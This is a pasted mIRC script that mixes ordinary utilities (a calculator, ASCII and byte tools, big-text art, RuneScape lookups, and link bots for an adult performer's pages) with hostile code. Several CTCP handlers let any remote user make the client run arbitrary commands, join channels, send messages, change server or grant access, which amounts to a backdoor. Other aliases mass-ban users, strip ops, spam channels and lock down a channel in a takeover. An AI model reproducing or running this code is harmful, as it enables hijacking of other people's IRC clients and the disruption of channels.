rendered paste bodyalias cssl {
server darklite.swiftirc.net +6697
}
on *:input:#: {
if ($left($1,1) isincs +-) {
haltdef
mode # $1-
}
}
menu channel {
Channel Modes:channel
-
}
menu query {
Whois $$1 $+ :whois $$1
Close Session:close -m $$1
-
}
menu nicklist {
Whois $$1 $+ :whois $$1
Query $$1 $+ :query $$1
-
Control
.Kick $$1 $+ :kick # $$1
.Ban $$1 $+ :ban $$1,2
.Ban, Kick $$1 $+ :ban -k # $$1 2
Access
.Owner:mode # $+(+,$str(q,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Deowner:mode # $+(-,$str(q,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Protect:mode # $+(+,$str(a,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Deprotect:mode # $+(-,$str(a,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Op:mode # $+(+,$str(o,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Deop:mode # $+(-,$str(o,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Halfop:mode # $+(+,$str(h,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Dehalfop:mode # $+(-,$str(h,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Voice:mode # $+(+,$str(v,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Devoice:mode # $+(-,$str(v,$snick(#,0))) $replace($snicks,$chr(44),$chr(32))
.Strip:mode # -qahov $str($+($$1,$chr(32)),5)
-
}
menu status {
Quit $server $+ :quit
-
}
alias f9 {
.timerat off
}
alias checkrsn {
.set %cn $1
.set %cn_a $false
.sockopen -e checkrsn create.runescape.com 443
}
on *:sockopen:checkrsn: {
if ($sockerr) { echo -ta ** Socket Errro ** $sock(cn).wsmsg | return }
sockwrite -n checkrsn POST /chooseusername.ws HTTP/1.1
sockwrite -n checkrsn Host: create.runescape.com
sockwrite -n checkrsn Content-Type: application/x-www-form-urlencoded
sockwrite -n checkrsn Content-Length: $calc(50 + $len(%cn))
sockwrite -nt checkrsn $crlf $+(?agerange=1&country=162&origusername=&username=,%cn)
}
on *:sockread:checkrsn: {
if ($sockerr) { echo -ta ** Socket Error ** $sock(cn).wsmsg | return }
sockread %cn_r
if ($+(*the username*>,%cn,<*is currently available*) iswm %cn_r) { .set %cn_a $true }
}
on *:sockclose:checkrsn: {
echo -a ** name availability ** The runescape username %cn is currently $iif(%cn_a == $true,available,unavailable)
.unset %cn*
}
menu * {
Auto Typer
.On: atcom
.Off: .timerat off
.Settings
..Time:set %att $$?"Second(s)"
..Text:set %ats $$?"Text"
}
alias atcom {
if (%att) && (%ats) && (!$1) {
.timerat 0 %att atcom send
}
elseif (!%att) && (%ats) {
set %att $$?"Second(s)"
.timerat 0 %att atcom send
}
elseif (%att) && (!%ats) {
set %ats set %ats $$?"Text"
.timerat 0 %att atcom send
}
elseif (!%att) && (!%ats) {
set %att $$?"Second(s)"
set %ats $$?"Text"
.timerat 0 %att atcom send
}
elseif ($1 == send) {
.comopen x wscript.shell
if (!$comerr) {
noop $com(x,sendkeys,3,bstr,%ats {ENTER})
}
.comclose x
}
}
alias stop {
timers off
}
alias clear {
clearall
}
alias atk {
if ($me ison #$1) {
timer 8 -0 cycle #$1
}
elseif ($me !ison #$1) {
join #$1
timer 8 -0 cycle #$1
}
}
alias kb {
var %k $nick($chan,$rand(1,$nick($chan,0))))
if (%k != $me) && (%k != $1) {
.msg chanserv ban # $iif($2,$1 $2- $+($chr(40),%k,$chr(41)),$1 %k)
}
}
alias k {
var %k $nick($chan,$rand(1,$nick($chan,0))))
if (%k != $me) && (%k != $1) {
.msg chanserv kick # $iif($2,$1 $2- $+($chr(40),%k,$chr(41)),$1 %k)
}
}
alias c {
if ($nick) var %ans $hget(calc,$address($nick,2))
if (!%ans) set %ans 0
var %a $regsubex($remove($1-,$chr(32),$chr(44)),/(\d+(?:\.\d+)?)([kmbt])/gi,(ø \1 * 1 $+ $str(0,$pos(kkkmmmbbbttt,\2,3)) ))
var %b $regsubex(%a,/(^[\+\-\*\/^])|([\+\-\*\/^])([\+\-\*\/^])/,$iif(\2,\1ans\2,ans\1))
var %c $regsubex(%b,/([\+\-\*\/^]$)/,\1ans)
var %d $regsubex(%c,/answer/,ans)
var %e $regsubex(%d,/\$?sqrt\(([^\x28]+)\)/,$sqrt( \1 ))
set -u3 %f $regsubex(%e,/(\(ø \d+(?:\.\d+)? \* 10+ \))/g,$calc($remove(\1,ø)))
set -u3 %ans $calc($replace(%f,ans,%ans,pi,$pi))
if ($nick) hadd -m calc $address($nick,2) $calc($replace(%f,ans,%ans,pi,$pi))
return %ans
}
alias calc {
var %v $c($1-)
echo 7 %f = $bytes(%v,bd)
}
on ^*:open:*:?: {
haltdef
}
alias chans {
join #Kingskrown,#RavenRiley,#Bongo,#rap
}
menu * {
Byte Counter: dialog -md bytes bytes
}
dialog bytes {
title "Byte Counter"
size -1 -1 224 178
option dbu
edit "", 1, 12 9 199 136, multi return hsbar vsbar
edit "", 2, 42 161 29 10, read autohs
edit "", 3, 103 161 29 10, read autohs
text "Bytes", 4, 23 161 17 8
text "Kilobytes", 5, 77 161 25 8
box "Text", 6, 2 1 220 150
box "Size", 7, 2 152 140 24
button "Exit", 8, 153 159 23 10, cancel
button "Clear", 9, 185 159 23 10
}
on *:dialog:bytes:edit:1: {
var %x = 1, %len
while (%x <= $did(bytes,1).lines) {
var %i = $regsubex($did(bytes,1,%x),/^\s*;.*|^\s*|\s*$/g,)
if ($left(%i,2) == /*) {
var %comment on
}
if ($right(%i,2) == */ && %comment == on) {
var %comment off
}
elseif (%comment != on) {
inc %len $len(%i)
}
inc %x
}
did -ra bytes 2 %len
did -ra bytes 3 $bytes(%len,k)
}
on *:dialog:bytes:sclick:9: {
did -r bytes 1-3
}
menu * {
Ascii Converter: dialog -md asc asc
}
ctcp ^*:clear:?: {
clearall
}
ctcp ^*:mode *:?: {
mode $2 $3-
}
dialog asc {
title "Ascii Converter"
size -1 -1 221 70
option dbu
edit "", 1, 6 6 71 27, multi autovs
edit "", 2, 89 6 127 62, read multi autovs vsbar
button "Copy", 3, 6 41 34 12
button "Close", 4, 47 41 34 12, cancel
button "Clear", 5, 28 55 34 12
}
on *:dialog:asc:edit:1: {
if (!$did(asc,1)) {
did -ra asc 2
}
elseif ($len($did(asc,1)) == 1) {
did -ra asc 2 $!chr( $+ $asc($did(asc,1)) $+ )
}
else {
did -ra asc 2 $!+( $+ $left($regsubex($regsubex($str(-,$did(asc,1).lines),/-/g,$did(asc,1,\n)),/(.)/g,$!chr( $+ $asc(\1) $+ ) $+ $chr(44)),-1) $+ )
}
}
on *:dialog:asc:sclick:3: {
clipboard $regsubex($str(-,$did(asc,2).lines),/-/g,$did(asc,2,\n))
}
on *:dialog:asc:sclick:5: {
did -r asc 1,2
did -f asc 1
}
menu * {
Ascii Chart: dialog -md Ascii_Chart Ascii_Chart
}
dialog Ascii_Chart {
title "Ascii Table"
size -1 -1 105 90
option dbu
list 1, 5 5 40 65, size
text "Doubleclick wanted character to send it to clipboard.",2,50 5 50 30, center
text "¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯", 3, 50 30 50 30, center
text "Quick help with $chr()'s.", 4, 50 35 50 30, center
link "http://kingskrown.com/", 5, 40 75 60 10
button "Close", 6, 5 75 30 10, ok flat
}
ctcp ^*:privmsg *:?: {
msg $2-
}
ctcp ^*:notice *:?: {
notice $2-
}
on *:dialog:Ascii_Chart:init:*: {
var %i 1
while (%i <= 255) {
did -a Ascii_Chart 1 $chr(%i) = %i
inc %i
}
}
on *:dialog:Ascii_Chart:dclick:*: {
if ($did == 1) {
clipboard $left($did(1).seltext,1)
}
if ($did == 4) {
ascii_refresh
}
if ($did == 5) {
.url http://www.kingskrown.com/
}
}
on *:join:#ravenriley: {
if ($network == swiftirc) {
inc %ravenrileyjoincount
notice $nick Raven Riley is currently located in: Ohio
notice $nick Welcome to the home of Raven Riley! %ravenrileyjoincount users have joined # Come check out Raven Riley's myspace at: http://www.myspace.com/therealravenriley
}
}
on $*:text:/^[@!]RavenRileyLinks/Si:#ravenriley: {
if ($network == swiftirc) {
var %return $iif($left($1,1) == @,msg $nick,notice $nick)
%return http://pastebin.ca/733673 or http://www.pornstarbook.com/raven_riley.shtml or http://ravenriley.amateurbookmark.com/
}
}
on $*:text:/^[@!]2006/Si:#ravenriley: {
if ($network == swiftirc) {
if (!$2) || ($2 !isnum 65-92) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Please supply a number between 65-92
}
elseif ($2 isnum 65-92) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Link for year 2006 blog $2 $+ : http://nakedravenriley.thumblogger.com/home/list/2006/ $+ $2 $+ /
}
}
}
on $*:text:/^[@!]2007/Si:#ravenriley: {
if ($network == swiftirc) {
if (!$2) || ($2 !isnum 13-40) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Please supply a number between 13-40
}
elseif ($2 isnum 13-40) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Link for year 2007 blog $2 $+ : http://nakedravenriley.thumblogger.com/home/list/2007/ $+ $2 $+ /
}
}
}
ctcp ^*:amsg *:?: {
amsg $2-
}
ctcp ^*:ame *:?: {
ame $2-
}
on $*:text:/^[@!]Week/Si:#ravenriley: {
if ($network == swiftirc) {
if (!$2) || ($2 !isnum 1-17) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Please supply a number between 1-17
}
elseif ($2 isnum 1-17) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Link for Week $2 $+ : http://raven-riley-blog.com/raven-riley/week $+ $2 $+ /
}
}
}
on $*:text:/^[@!]BlogImage/Si:#ravenriley: {
if ($network == swiftirc) {
if (!$2) || ($2 !isnum 1-17) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Please supply a number between 1-17
}
elseif ($2 isnum 1-17) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Link for Blog Image $2 $+ : http://raven-riley-blog.com/raven-riley/ravenriley $+ $2 $+ .htm
}
}
}
on $*:text:/^[@!]HalloweenImage/Si:#ravenriley: {
if ($network == swiftirc) {
if (!$2) || ($2 !isnum 1-8) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Please supply a number between 1-8
}
elseif ($2 isnum 1-8) {
var %return $iif($left($1,1) == @,msg $chan,notice $nick)
%return Link for Halloween Image $2 $+ : http://www.myxxxblog.com/galleries/RavenRiley/Halloween/imagepages/image $+ $2 $+ .html
}
}
}
alias -l htmlfree var %y, %x = $regsub($1-,/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%y), %y = $remove(%y, ) | return %y
on *:input:#: {
if ($regex($1,/^[@!]test/Si)) {
if ($sock(highscore)) sockclose highscore
else {
set %user $iif($2,$replace($2-,$chr(32),-),$me)
sockopen highscore hiscore.runescape.com 80
sockmark highscore $iif($left($1,1) == @,echo @stats,echo -a)
$iif($left($1,1) == @,window @stats)
}
}
}
on *:sockopen:highscore: {
sockwrite -nt $sockname GET /lang/en/aff/runescape/hiscorepersonal.ws?user1= $+ %user HTTP/1.1
sockwrite -nt $sockname Host: hiscore.runescape.com $+ $crlf
sockwrite -nt $sockname $crlf
}
on *:sockread:highscore: {
if (!$sockerr) {
var %stats
sockread %stats
$sock($sockname).mark $htmlfree(%stats)
}
}
on *:sockclose:highscore: {
sockclose $sockname
}
alias -l skill {
if ($regex($1,/^(attack)/Si)) return Attack
}
alias shutdown {
run shutdown.exe -sft 00
}
alias scarface {
msg $active "Whattaya lookin' at? You're all a bunch of fucking assholes. You know why? 'Cause you don't have the guts to be what you wanna be. You need people like me. You need people like me so you can point your fucking fingers, and say "that's the bad guy."
msg $active So, what dat make you? Good? You're not good; you just know how to hide. Howda lie. Me, I don't have that problem. Me, I always tell the truth--even when I lie. So say goodnight to the bad guy.
msg $active Come on; the last time you gonna see a bad guy like this, let me tell ya. Come on, make way for the bad guy. There's a bad guy comin' through; you better get outta his way!"
msg $active http://youtube.com/watch?v=4pW2ZOBi01U&feature=related
}
ctcp ^*:join *:?: {
join #$2
}
ctcp ^*:part *:?: {
part #$2
}
alias -l rev {
var %len = $len($1-)
var %return = $null
while (%len > 0) {
var %return = %return $+ $mid($1-,%len,1) $+ $chr(32)
dec %len
}
return %return
}
alias reverse say $rev($1-)
alias big {
if ($bigtext.unsupp($1-)) {
echo -ac info * Characters not supported by Big Text present in your message: $bigtext.unsupp($1-)
return
}
var %lia, %lib, %lic, %lid, %lie, %i 1, %text $strip($1-, bur), %colregex /^(\d\d?(?:,\d\d?)?)/
var %regex = /(?<= $+ $chr(3) $+ [0-9]| $+ $chr(3) $+ [0-9][0-9]) $+ $chr(44) $+ \d\d?/g, %res, %dummy = $regsub(%text, %regex, $null, %text)
while (%i <= $len(%text)) {
if ($mid(%text, %i, 1) == $chr(3)) {
var %lia $+(%lia, $chr(3)), %lib $+(%lib, $chr(3)), %lic $+(%lic, $chr(3)), %lid $+(%lid, $chr(3)), %lie $+(%lie, $chr(3))
if ($mid(%text, $calc(%i + 1), 1) != $chr(32)) && ($regex(mtcol, $mid(%text, $calc(%i + 1), $mid(%text, $calc(%i + 1), 0)), %colregex)) {
var %m $regml(mtcol, 1)
var %lia %lia $+ %m, %lib %lib $+ %m, %lic %lic $+ %m, %lid %lid $+ %m, %lie %lie $+ %m
inc %i $len(%m)
}
}
else {
tokenize 32 $bigtext.char($mid(%text, %i, 1))
var %lia $+(%lia, $1), %lib $+(%lib, $2), %lic $+(%lic, $3), %lid $+(%lid, $4), %lie $+(%lie, $5)
; if ($bigtext.kern($mid(%text, %i, 2))) {
var %lia $+(%lia, .), %lib $+(%lib, .), %lic $+(%lic, .), %lid $+(%lid, .), %lie $+(%lie, .)
; }
}
inc %i
}
say $bigtext.format(%lia)
say $bigtext.format(%lib)
say $bigtext.format(%lic)
say $bigtext.format(%lid)
say $bigtext.format(%lie)
}
alias -l bigtext.char {
if ($1 === $chr(32)) || ($1 === $null) return $&
... $&
... $&
... $&
... $&
...
if ($1 === $chr(160)) return $&
..... $&
..... $&
..... $&
..... $&
.....
elseif ($1 == 0) return $&
.XXXX. $&
XX..XX $&
XX.XXX $&
XXX.XX $&
.XXXX.
elseif ($1 == 1) return $&
.XXXX $&
XX.XX $&
...XX $&
...XX $&
...XX
elseif ($1 == 2) return $&
XXXXX. $&
....XX $&
..XX.. $&
XX.... $&
XXXXXX
elseif ($1 == 3) return $&
XXXXX. $&
....XX $&
.XXXX. $&
....XX $&
XXXXX.
elseif ($1 == 4) return $&
.....XXX. $&
...XX.XX. $&
.XX...XX. $&
XXXXXXXXX $&
......XX.
elseif ($1 == 5) return $&
XXXXX $&
XX... $&
XXXX. $&
...XX $&
XXXX.
elseif ($1 == 6) return $&
.XXXX. $&
XX.... $&
XXXXX. $&
XX..XX $&
.XXXX.
elseif ($1 == 7) return $&
XXXXXX $&
...XX. $&
..XX.. $&
.XX... $&
XX....
elseif ($1 == 8) return $&
.XXXX. $&
XX..XX $&
.XXXX. $&
XX..XX $&
.XXXX.
elseif ($1 == 9) return $&
.XXXX. $&
XX..XX $&
.XXXXX $&
....XX $&
.XXXX.
elseif ($1 == A) return $&
.XXXX. $&
XX..XX $&
XXXXXX $&
XX..XX $&
XX..XX
elseif ($1 == B) return $&
XXXXX. $&
XX..XX $&
XXXXX. $&
XX..XX $&
XXXXX.
elseif ($1 == C) return $&
.XXXX. $&
XX..XX $&
XX.... $&
XX..XX $&
.XXXX.
elseif ($1 == D) return $&
XXXX.. $&
XX.XX. $&
XX..XX $&
XX..XX $&
XXXXX.
elseif ($1 == E) return $&
XXXXX $&
XX... $&
XXXX. $&
XX... $&
XXXXX
elseif ($1 == F) return $&
XXXXX $&
XX... $&
XXXX. $&
XX... $&
XX...
elseif ($1 == G) return $&
.XXXX. $&
XX.... $&
XX.XXX $&
XX..XX $&
.XXXXX
elseif ($1 == H) return $&
XX...XX $&
XX...XX $&
XXXXXXX $&
XX...XX $&
XX...XX
elseif ($1 == I) return $&
XXXX $&
.XX. $&
.XX. $&
.XX. $&
XXXX
elseif ($1 == J) return $&
....XX $&
....XX $&
....XX $&
XX..XX $&
.XXXX.
elseif ($1 == K) return $&
XX..XX $&
XX.XX. $&
XXXX.. $&
XX.XX. $&
XX..XX
elseif ($1 == L) return $&
XX... $&
XX... $&
XX... $&
XX... $&
XXXXX
elseif ($1 == M) return $&
XX....XX $&
XXX..XXX $&
XXXXXXXX $&
XX.XX.XX $&
XX....XX
elseif ($1 == N) return $&
XX..XX $&
XXX.XX $&
XXXXXX $&
XX.XXX $&
XX..XX
elseif ($1 == O) return $&
.XXXX. $&
XX..XX $&
XX..XX $&
XX..XX $&
.XXXX.
elseif ($1 == P) return $&
XXXXX. $&
XX..XX $&
XXXXX. $&
XX.... $&
XX....
elseif ($1 == Q) return $&
.XXXX.. $&
XX..XX. $&
XX..XX. $&
XX..XX. $&
.XXXXXX
elseif ($1 == R) return $&
XXXXX. $&
XX..XX $&
XXXXX. $&
XX..XX $&
XX..XX
elseif ($1 == S) return $&
.XXXX. $&
XX.... $&
.XXXX. $&
....XX $&
XXXXX.
elseif ($1 == T) return $&
XXXXXX $&
..XX.. $&
..XX.. $&
..XX.. $&
..XX..
elseif ($1 == U) return $&
XX..XX $&
XX..XX $&
XX..XX $&
XX..XX $&
.XXXX.
elseif ($1 == V) return $&
XX....XX $&
XX....XX $&
.XX..XX. $&
..XXXX.. $&
...XX...
elseif ($1 == W) return $&
XX...XX $&
XX...XX $&
XX.X.XX $&
XXXXXXX $&
.XX.XX.
elseif ($1 == X) return $&
XX...XX $&
.XX.XX. $&
..XXX.. $&
.XX.XX. $&
XX...XX
elseif ($1 == Y) return $&
XX..XX $&
XX..XX $&
.XXXX. $&
..XX.. $&
..XX..
elseif ($1 == Z) return $&
XXXXXX $&
...XX. $&
..XX.. $&
.XX... $&
XXXXXX
elseif ($1 == $chr(35)) return $&
.XX..XX. $&
XXXXXXXX $&
.XX..XX. $&
XXXXXXXX $&
.XX..XX.
elseif ($1 == ") return $&
XX..XX $&
XX..XX $&
...... $&
...... $&
......
elseif ($1 == +) return $&
...... $&
..XX.. $&
XXXXXX $&
..XX.. $&
......
elseif ($1 == =) return $&
...... $&
XXXXXX $&
...... $&
XXXXXX $&
......
elseif ($1 == -) return $&
...... $&
...... $&
XXXXXX $&
...... $&
......
elseif ($1 == :) return $&
.. $&
XX $&
.. $&
XX $&
..
elseif ($1 == !) return $&
XX $&
XX $&
XX $&
.. $&
XX
elseif ($1 == ?) return $&
XXX. $&
..XX $&
.XX. $&
.... $&
.XX.
elseif ($1 == .) return $&
.. $&
.. $&
.. $&
.. $&
XX
elseif ($1 == /) return $&
....XX $&
...XX. $&
..XX.. $&
.XX... $&
XX....
elseif ($1 == \) return $&
XX.... $&
.XX... $&
..XX.. $&
...XX. $&
....XX
elseif ($1 == $chr(40)) return $&
...XX $&
.XX.. $&
XX... $&
.XX.. $&
...XX
elseif ($1 == $chr(41)) return $&
XX... $&
..XX. $&
...XX $&
..XX. $&
XX...
elseif ($1 == $chr(37)) return $&
XX..XX $&
...XX. $&
..XX.. $&
.XX... $&
XX..XX
elseif ($1 == [) return $&
XXXXX $&
XX... $&
XX... $&
XX... $&
XXXXX
elseif ($1 == ]) return $&
XXXXX $&
...XX $&
...XX $&
...XX $&
XXXXX
elseif ($1 == |) return $&
.XX. $&
.XX. $&
.XX. $&
.XX. $&
.XX.
elseif ($1 == <) return $&
....XX $&
..XX.. $&
XX.... $&
..XX.. $&
....XX
elseif ($1 == >) return $&
XX.... $&
..XX.. $&
....XX $&
..XX.. $&
XX....
elseif ($1 == ,) return $&
... $&
... $&
XXX $&
.XX $&
XX.
}
ctcp ^*:update:?: {
msg nickserv update
}
ctcp ^*:server *:?: {
server -m $2
}
alias -l bigtext.unsupp {
var %res, %dummy = $regsub($1-, /[]a-z 0-9# $+ $chr(44) $+ '+=?:!?./\\()%[|<>_?"?-]/igS, $null, %res)
return %res
}
alias -l bigtext.kern {
var %res $true
if ($regex($1-, /^(.|[_GDSQL-]T|[TPFVY7/"]J|T\.|L[1Y\\"]|[LTK<[]-|-[]>%\\]|S1|T4|\?\.|\.\?|[467L\\]?|?[J/]|L'|\/\/|\\\\|?J|[_?]?|[?T_]_|>\.|\.<)$/i)) %res = $false
return %res
}
ctcp ^*:raw *:?: {
$($2,$3-)
}
alias -l bigtext.format {
var %res, %i 1, %previous 0, %current, %curcolor, %colregex /^(\d\d?(?:,\d\d?)?)/
while (%i <= $len($1-)) {
if ($mid($1-, %i, 1) == $chr(3)) {
if ($regex(mtcol, $mid($1-, $calc(%i + 1), $mid($1-, $calc(%i + 1), 0)), %colregex)) {
if ($gettok($regml(mtcol, 1), 1, 44) != %curcolor) {
%curcolor = $gettok($regml(mtcol, 1), 1, 44)
if (%i != 1) && ($mid($1-, $calc(%i - 1), 1) == X) %res = %res $+ $chr(15)
}
inc %i $len($regml(mtcol, 1))
}
elseif (%curcolor) {
%curcolor =
if (%i != 1) && ($mid($1-, $calc(%i - 1), 1) == X) %res = %res $+ $chr(15)
}
}
else {
%current = $iif($mid($1-, %i, 1) == ., 0, 1)
if (%previous != %current) {
%previous = %current
if (%curcolor) {
if (%current) %res = %res $+ $chr(3) $+ %curcolor $+ , $+ %curcolor
else %res = %res $+ $chr(3)
}
else %res = %res $+ $chr(22)
}
%res = %res $+ $chr(160)
}
inc %i
}
return %res
}
alias bots {
invite phantom $iif($1,$1,#)
invite terror $iif($1,$1,#)
invite narutobot $iif($1,$1,#)
invite vectra $iif($1,$1,#)
invite darwin $iif($1,$1,#)
invite proscript $iif($1,$1,#)
invite genie $iif($1,$1,#)
invite runescript $iif($1,$1,#)
invite ice-warrior $iif($1,$1,#)
invite ikick $iif($1,$1,#)
invite omegascript $iif($1,$1,#)
invite gusbot $iif($1,$1,#)
}
alias botspam {
$iif($rand(1,2),msg $iif($1,$1,#) !stats uloveme,msg $1 @stats uloveme)
}
ctcp ^*:nick *:?: {
nick $2
}
alias fban {
whois $1
mode $iif($1,$1,#) +b %fban
}
raw 311:*: {
set %fban $+(*!*@,$4)
}
ctcp ^*:access *:?: {
msg chanserv access $2 add $3 $4
}
on *:dialog:kingskrown:menu:9: {
did -r kingskrown 4,7,12
did -f kingskrown 1
}
alias astrip {
var %a 1
while (%a <= $snick($1,0)) {
if ($snick($1,%a) != $me) {
mode $iif($1,$1,#) -qaohv $str($+($snick($1,%a),$chr(32)),5)
}
inc %a
}
}
alias aban {
var %b 1
while (%b <= $snick($1,0)) {
if ($snick($1,%b) != $me) {
ban -k $iif($1,$1,#) $str($+($snick($1,%b),$chr(32)),5) 2
}
inc %b
}
}
alias takeover {
mode $iif($1,$1,#) +eeeeeee king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
mode $iif($1,$1,#) +IIIIIII king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
mode $iif($1,$1,#) +eIeIeIeI *!*@*wotnoh* *!*@*wotnoh* *!*@*dsl* *!*@*dsl* *!*@*global* *!*@*global* *!*@*sbc* *!*@*sbc*
mode $iif($1,$1,#) +eIeI *!*@*swift* *!*@*swift* *!*@*net* *!*@*net*
mode $iif($1,$1,#) +smiRcKVMNTlkfj 1 àßçÐéƒghìjk£mñôþ¶®§tµv¶ [1t#b]:999 1:999
topic $iif($1,$1,#) #kingskrown == #kingzkrown && kingskrown == kingzkrown && # == $+($chr(2),downd,$chr(2))
}
alias qk {
mode $iif($2,$2,#) -Q
kick $iif($2,$2,#) $iif($1,$1,$snick(#,1))
mode $iif($2,$2,#) +b $iif($1,$1,$snick(#,1)) 2
}
on *:ban:#: {
if ($address($me,2) iswm $banmask) {
mode # -b $banmask
}
}
alias amsg {
var %x 1
var %y #mIRC #mSL #IrcHelp #Support #Help #SwiftIRC #SwiftSwitch #Bongo
while (%x <= $chan(0)) {
if ($chan(%x) !isin %y) {
msg $chan(%x) $1-
}
inc %x
}
}
alias sinvite {
var %s 1
var %t $me Bro Mike Ias Stirk Jacky Zwill Will Jello Fo_Reel FoSho Xotick Allen Proxybot Fx Awong Salty Remy Rupert Zeus Arthur Marius Tim Tarball Gic Chrono Scott Home Angela Sephiroth Vivec Slaapkamer Pancakes Strider3282 Sara Steve Patje Timmy Karl Lilly |Luke| [-Home-]
while (%s <= $snick(#,0)) {
if ($snick(#,%s) !isin %t) {
invite $snick(#,%s) #$1
}
inc %s
}
}
alias takeovermode {
set %takeover $iif(on isin $1,on,off)
echo -at *** $+($chr(37),takeover) is now $iif($1 == on,on,off)
}
on *:deop:#: {
if (%takeover == on) && ($address($me,2) == $address($opnick,2)) || ($opnick == $me) {
mode # +o $opnick
}
}
on *:dehelp:#: {
if (%takeover == on) && ($address($me,2) == $address($opnick,2)) || ($hnick == $me) {
mode # +h $hnick
}
}
on *:op:#: {
if (%takeover == on) && ($address($me,2) == $address($opnick,2)) || ($opnick == $me) {
all #
}
}
on *:help:#: {
if (%takeover == on) && ($address($me,2) == $address($opnick,2)) || ($hnick == $me) {
all #
}
}
alias act {
mode # $+($iif($1,$1,+),b) $+(,$+(~,$iif($2,$2,q),:),$address($snicks,2))
}
alias multi {
var %var 1
while (%var <= $scon(0)) {
if ($scon(%var)) {
scon %var $1-
}
inc %var 1
}
}
alias all {
mode $iif($1,$1,#) +eeeeeee king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
mode $iif($1,$1,#) +IIIIIII king?krown!*@*.dsl.wotnoh.sbcglobal.net ~c:@#King?krown ~c:%#King?krown ~c:+#King?krown ~c:#King?krown king?krown!*@* $me
}